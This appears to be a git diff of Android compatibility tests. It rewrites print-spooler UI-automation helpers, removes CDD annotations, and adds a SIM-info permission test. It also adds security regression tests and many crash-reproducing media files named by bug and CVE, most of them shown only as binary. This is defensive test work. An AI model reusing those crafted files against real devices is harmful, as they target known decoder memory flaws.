-        UiObject2 message = findUiObject(By.res("com.android.printspooler:id/message"));
+        UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/message"));
         if (!message.getText().equals(printerUnavailableMessage)) {
             throw new Exception("Wrong message: " + message.getText() + " instead of "
                     + printerUnavailableMessage);
@@ -572,11 +561,13 @@
 
     protected void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
         try {
-            long delay = 100;
+            long delay = 1;
             while (true) {
                 try {
-                    UiObject2 destinationSpinner = findUiObject(By.res(
-                            "com.android.printspooler:id/destination_spinner"));
+                    UiDevice uiDevice = getUiDevice();
+                    UiObject destinationSpinner = uiDevice.findObject(new UiSelector()
+                            .resourceId("com.android.printspooler:id/destination_spinner"));
+
                     destinationSpinner.click();
                     getUiDevice().waitForIdle();
 
@@ -584,11 +575,12 @@
                     try {
                         Thread.sleep(delay);
                     } catch (InterruptedException e) {
-                        // Ignore
+                        // ignore
                     }
 
-                    // Try to select printer
-                    UiObject2 printerOption = findUiObject(By.text(printerName));
+                    // try to select printer
+                    UiObject printerOption = uiDevice.findObject(
+                            new UiSelector().text(printerName));
                     printerOption.click();
                 } catch (UiObjectNotFoundException e) {
                     Log.e(LOG_TAG, "Could not select printer " + printerName, e);
@@ -606,8 +598,8 @@
                             delay *= 2;
                         } else {
                             throw new UiObjectNotFoundException(
-                                    "Could not find printer " + printerName
-                                            + " even though we retried.");
+                                    "Could find printer " + printerName
+                                            + " even though we retried");
                         }
                     }
                 } else {
@@ -620,76 +612,115 @@
         }
     }
 
-    protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException,
-            IOException {
-        UiObject2 button;
+    protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
+        UiObject button;
         if (confirm) {
-            button = findUiObject(By.res("android:id/button1"));
+            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
         } else {
-            button = findUiObject(By.res("android:id/button2"));
+            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button2"));
         }
         button.click();
     }
 
     protected void changeOrientation(String orientation) throws UiObjectNotFoundException,
             IOException {
-        UiObject2 orientationSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/orientation_spinner"));
-        orientationSpinner.click();
-        UiObject2 orientationOption = findUiObject(By.text(orientation));
-        orientationOption.click();
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/orientation_spinner"));
+            orientationSpinner.click();
+            UiObject orientationOption = uiDevice.findObject(new UiSelector().text(orientation));
+            orientationOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     public String getOrientation() throws UiObjectNotFoundException, IOException {
-        UiObject2 orientationSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/orientation_spinner"));
-        return orientationSpinner.getText();
+        try {
+            UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/orientation_spinner"));
+            return orientationSpinner.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
-        UiObject2 mediaSizeSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/paper_size_spinner"));
-        mediaSizeSpinner.click();
-        UiObject2 mediaSizeOption = findUiObject(By.text(mediaSize));
-        mediaSizeOption.click();
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/paper_size_spinner"));
+            mediaSizeSpinner.click();
+            UiObject mediaSizeOption = uiDevice.findObject(new UiSelector().text(mediaSize));
+            mediaSizeOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void changeColor(String color) throws UiObjectNotFoundException, IOException {
-        UiObject2 colorSpinner = findUiObject(By.res("com.android.printspooler:id/color_spinner"));
-        colorSpinner.click();
-        // The color spinner and the color option both contain the same text, so give the
-        // spinner some time to expand
-        long delay = 100;
         try {
-            Thread.sleep(delay);
-        } catch (InterruptedException e) {
-            // Ignore
+            UiDevice uiDevice = getUiDevice();
+            UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/color_spinner"));
+            colorSpinner.click();
+            UiObject colorOption = uiDevice.findObject(new UiSelector().text(color));
+            colorOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
         }
-        UiObject2 colorOption = findUiObject(By.text(color));
-        colorOption.click();
     }
 
     public String getColor() throws UiObjectNotFoundException, IOException {
-        UiObject2 colorSpinner = findUiObject(By.res("com.android.printspooler:id/color_spinner"));
-        return colorSpinner.getText();
+        try {
+            UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/color_spinner"));
+            return colorSpinner.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
-        UiObject2 duplexSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/duplex_spinner"));
-        duplexSpinner.click();
-        UiObject2 duplexOption = findUiObject(By.text(duplex));
-        duplexOption.click();
+        try {
+            UiDevice uiDevice = getUiDevice();
+            UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/duplex_spinner"));
+            duplexSpinner.click();
+            UiObject duplexOption = uiDevice.findObject(new UiSelector().text(duplex));
+            duplexOption.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
-        UiObject2 copies = findUiObject(By.res("com.android.printspooler:id/copies_edittext"));
-        copies.setText(Integer.valueOf(newCopies).toString());
+        try {
+            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/copies_edittext"));
+            copies.setText(Integer.valueOf(newCopies).toString());
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected String getCopies() throws UiObjectNotFoundException, IOException {
-        UiObject2 copies = findUiObject(By.res("com.android.printspooler:id/copies_edittext"));
-        return copies.getText();
+        try {
+            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/copies_edittext"));
+            return copies.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
@@ -697,13 +728,25 @@
     }
 
     public void clickPrintButton() throws UiObjectNotFoundException, IOException {
-        UiObject2 printButton = findUiObject(By.res("com.android.printspooler:id/print_button"));
-        printButton.click();
+        try {
+            UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/print_button"));
+            printButton.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void clickRetryButton() throws UiObjectNotFoundException, IOException {
-        UiObject2 retryButton = findUiObject(By.res("com.android.printspooler:id/action_button"));
-        retryButton.click();
+        try {
+            UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/action_button"));
+            retryButton.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     public void dumpWindowHierarchy() throws IOException {
@@ -741,14 +784,14 @@
         waitForActivityCreateCallbackCalled(createBefore + 1);
     }
 
-    protected void openPrintOptions() throws UiObjectNotFoundException, IOException {
-        UiObject2 expandHandle = findUiObject(By.res(
+    protected void openPrintOptions() throws UiObjectNotFoundException {
+        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/expand_collapse_handle"));
         expandHandle.click();
     }
 
-    protected void openCustomPrintOptions() throws UiObjectNotFoundException, IOException {
-        UiObject2 expandHandle = findUiObject(By.res(
+    protected void openCustomPrintOptions() throws UiObjectNotFoundException {
+        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/more_options_button"));
         expandHandle.click();
     }
@@ -926,14 +969,15 @@
     }
 
     protected void selectPages(String pages, int totalPages) throws Exception {
-        UiObject2 pagesSpinner = findUiObject(By.res(
+        UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/range_options_spinner"));
         pagesSpinner.click();
 
-        UiObject2 rangeOption = findUiObject(By.textContains("Range of " + totalPages));
+        UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains("Range of "
+                + totalPages));
         rangeOption.click();
 
-        UiObject2 pagesEditText = findUiObject(By.res(
+        UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/page_range_edittext"));
         pagesEditText.setText(pages);
 
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index 200e410..60c6210 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -41,7 +41,9 @@
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
 import android.util.Log;
 
 import androidx.test.runner.AndroidJUnit4;
@@ -103,18 +105,23 @@
             return PAGESS[2];
         }
 
-        UiObject2 pagesEditText = findUiObject(By.res(
-                "com.android.printspooler:id/page_range_edittext"));
+        try {
+            UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/page_range_edittext"));
 
-        if (pagesEditText.getText().equals("2")) {
-            return PAGESS[1];
+            if (pagesEditText.getText().equals("2")) {
+                return PAGESS[1];
+            }
+
+            if (pagesEditText.getText().equals("1")) {
+                return PAGESS[0];
+            }
+
+            return null;
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
         }
-
-        if (pagesEditText.getText().equals("1")) {
-            return PAGESS[0];
-        }
-
-        return null;
     }
 
     @Before
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index a58897b..53c72ee 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -59,8 +59,9 @@
 import android.printservice.CustomPrinterIconCallback;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -402,8 +403,9 @@
         print(adapter);
 
         // Open printer selection dropdown list to display icon on screen
-        UiObject2 destinationSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/destination_spinner"));
+        UiObject destinationSpinner = UiDevice.getInstance(getInstrumentation())
+                .findObject(new UiSelector().resourceId(
+                        "com.android.printspooler:id/destination_spinner"));
         destinationSpinner.click();
 
         // Get the print service's icon
@@ -623,7 +625,8 @@
         });
 
         // Open info activity which executed the code above
-        UiObject2 moreInfoButton = findUiObject(By.res("com.android.printspooler:id/more_info"));
+        UiObject moreInfoButton = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/more_info"));
         moreInfoButton.click();
 
         // Wait until printer is selected and thereby tracked
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index 25e3c0b..5580cda 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -41,8 +41,8 @@
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrinterDiscoverySession;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
 
 import androidx.annotation.NonNull;
 import androidx.test.runner.AndroidJUnit4;
@@ -131,7 +131,8 @@
      */
     private void selectInAllPrintersActivity(@NonNull String printerName) throws Exception {
         while (true) {
-            UiObject2 printerItem = findUiObject(By.text(printerName));
+            UiObject printerItem = getUiDevice().findObject(
+                    new UiSelector().text(printerName));
 
             if (printerItem.isEnabled()) {
                 printerItem.click();
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index d48795f..6e67dee 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -33,8 +33,8 @@
 import android.print.test.services.PrinterDiscoverySessionCallbacks;
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
 import android.text.TextUtils;
 
 import androidx.test.runner.AndroidJUnit4;
@@ -343,7 +343,7 @@
         waitForWriteAdapterCallback(1);
 
         // Open destination spinner
-        UiObject2 destinationSpinner = findUiObject(By.res(
+        UiObject destinationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/destination_spinner"));
         destinationSpinner.click();
 
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
index 87e8b3e..756fa76 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
@@ -30,8 +30,6 @@
 import android.telephony.TelephonyManager;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 import junit.framework.Assert;
 
 import java.util.ArrayList;
@@ -45,7 +43,6 @@
 // make cts
 // cts-tradefed
 // run cts -m CtsProviderTestCases --test android.provider.cts.BlockedNumberContractTest
-@CddTest(requirement="7.4.1.1/C-1-1,C-1-2")
 public class BlockedNumberContractTest extends TestCaseThatRunsIfTelephonyIsEnabled {
     private static final String TAG = "BlockedNumberContractTest";
     private ContentResolver mContentResolver;
@@ -77,7 +74,6 @@
         super.tearDown();
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testProviderInteractionsAsRegularApp_fails() {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -135,7 +131,6 @@
         assertNull(mContentResolver.getType(BlockedNumberContract.AUTHORITY_URI));
     }
 
-    @CddTest(requirement="7.4.1.1/CC-1-2")
     public void testInsertAndBlockCheck_succeeds() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -167,7 +162,6 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, "random string"));
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testUnblock_succeeds() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -187,7 +181,6 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, "1234@abcd.com"));
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testInsert_failsWithInvalidInputs() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -233,7 +226,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testUpdate_isUnsupported() throws  Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -258,7 +250,6 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, ""));
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testDelete() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -330,7 +321,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testProviderNotifiesChangesUsingContentObserver() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -361,7 +351,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testAccessingNonExistentMethod_fails() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
index 2668d4d..a8e83e0 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
@@ -125,8 +125,7 @@
 
     private boolean supportsHardware() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        return !pm.hasSystemFeature("android.hardware.type.automotive")
-                && !pm.hasSystemFeature("android.hardware.type.television")
+        return !pm.hasSystemFeature("android.hardware.type.television")
                 && !pm.hasSystemFeature("android.hardware.type.watch");
     }
 
diff --git a/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java b/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
index b06ddfa..e6c0498 100644
--- a/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
+++ b/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
@@ -24,6 +24,7 @@
 import android.provider.Telephony.Carriers;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
+import android.telephony.SubscriptionManager;
 import android.test.InstrumentationTestCase;
 
 import java.lang.reflect.Field;
@@ -95,4 +96,16 @@
             fail("No access to current APN");
         }
     }
+
+    // The sim_info table contains sensitive IDs, and we don't want to expose these without at
+    // least the READ_PHONE_STATE permission (which this test doesn't have).
+    public void testNoAccessToSimInfo() {
+        try {
+            Cursor c = mContentResolver.query(SubscriptionManager.CONTENT_URI,
+                    new String[] { SubscriptionManager.ICC_ID }, null, null, null);
+            fail("SecurityException expected");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
 }
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 7103969..2f402f5 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -50,6 +50,40 @@
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
+
+        <activity
+            android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+            android:label="Test Nano AppBundle customized failure catch activity">
+            <intent-filter>
+                <action android:name="android.intent.action.RUN" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <activity android:name="android.security.cts.ActivityManagerTest$NormalActivity" />
+        <activity android:name="android.security.cts.ActivityManagerTest$MaliciousActivity" />
+        <service android:name="android.security.cts.ActivityManagerTest$AppMonitoringService" />
+
+        <activity
+            android:name="android.security.cts.SkiaJpegDecodingActivity"
+            android:label="Test overflow in libskia JPG processing">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 3a879d1..fd1043f 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -23,7 +23,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.cts" />
-        <option name="runtime-hint" value="1h8m15s" />
+        <option name="runtime-hint" value="1h40m18s" />
         <!-- test-timeout unit is ms, value = 15 min -->
         <option name="test-timeout" value="900000" />
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
new file mode 100644
index 0000000..f63f6ef
--- /dev/null
+++ b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
Binary files differ
diff --git a/tests/tests/security/res/layout/activity_skiajpegdecoding.xml b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
new file mode 100644
index 0000000..68a0d68
--- /dev/null
+++ b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent"
+    android:gravity="center"
+    android:orientation="vertical">
+
+    <ImageView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/signal_sigsegv_in_jmem_ashmem"
+        />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug170240631_ts.mp4 b/tests/tests/security/res/raw/bug170240631_ts.mp4
new file mode 100644
index 0000000..9891dc6
--- /dev/null
+++ b/tests/tests/security/res/raw/bug170240631_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_110435401.mid b/tests/tests/security/res/raw/bug_110435401.mid
new file mode 100644
index 0000000..184ab1f
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_110435401.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_113260892_hevc.mp4 b/tests/tests/security/res/raw/bug_113260892_hevc.mp4
new file mode 100644
index 0000000..6dfebba
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_113260892_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_156261521.dng b/tests/tests/security/res/raw/bug_156261521.dng
new file mode 100644
index 0000000..b838844
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_156261521.dng
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23285192.mp3 b/tests/tests/security/res/raw/bug_23285192.mp3
new file mode 100644
index 0000000..b86e4d8
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23285192.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_25928803.mp4 b/tests/tests/security/res/raw/bug_25928803.mp4
new file mode 100644
index 0000000..54d07d5
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_25928803.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_26399350_avc.mp4 b/tests/tests/security/res/raw/bug_26399350_avc.mp4
new file mode 100644
index 0000000..e6df897
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_26399350_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_avc.mp4 b/tests/tests/security/res/raw/bug_33090864_avc.mp4
new file mode 100644
index 0000000..f8e2a27
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_framelen.mp4 b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
new file mode 100644
index 0000000..ffaa6ac
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
@@ -0,0 +1,4 @@
+45
+3058
+651
+2281
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_33250932_avc.mp4 b/tests/tests/security/res/raw/bug_33250932_avc.mp4
new file mode 100644
index 0000000..ff6ce03
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33250932_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36279112.mp4 b/tests/tests/security/res/raw/bug_36279112.mp4
new file mode 100644
index 0000000..1a970ff
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36279112.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
new file mode 100644
index 0000000..868e630
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36592202.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37203196_framelen.mp4 b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
new file mode 100644
index 0000000..223b756
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
@@ -0,0 +1,8 @@
+43
+3015
+2122
+1310
+1599
+4391
+3429
+15
diff --git a/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4 b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
new file mode 100644
index 0000000..1b59a7e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37430213.mp4 b/tests/tests/security/res/raw/bug_37430213.mp4
new file mode 100644
index 0000000..618f620
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37430213.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
new file mode 100644
index 0000000..261e173
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
new file mode 100644
index 0000000..e8f1c41
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
new file mode 100644
index 0000000..ecc10cb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
new file mode 100644
index 0000000..34851ad
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
new file mode 100644
index 0000000..5544ffe
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64710074.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_68664359.mid b/tests/tests/security/res/raw/bug_68664359.mid
new file mode 100644
index 0000000..f816d82
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_68664359.mid
@@ -0,0 +1 @@
+DK:@~kkkkk
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_68953854.mid b/tests/tests/security/res/raw/bug_68953854.mid
deleted file mode 100644
index ce9432d6..0000000
--- a/tests/tests/security/res/raw/bug_68953854.mid
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_70239507.aac b/tests/tests/security/res/raw/bug_70239507.aac
new file mode 100644
index 0000000..9132beb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_70239507.aac
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_74114680_ts.mp4 b/tests/tests/security/res/raw/bug_74114680_ts.mp4
new file mode 100644
index 0000000..10e20bd
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_74114680_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3756.ogg b/tests/tests/security/res/raw/cve_2016_3756.ogg
new file mode 100644
index 0000000..4f366b0
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3756.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3879.mp3 b/tests/tests/security/res/raw/cve_2016_3879.mp3
new file mode 100644
index 0000000..23ca4c3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3879.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0637.mp4 b/tests/tests/security/res/raw/cve_2017_0637.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0637.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0640_avc.mp4 b/tests/tests/security/res/raw/cve_2017_0640_avc.mp4
new file mode 100644
index 0000000..71ed5dd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0640_avc.mp4
Binary files differ
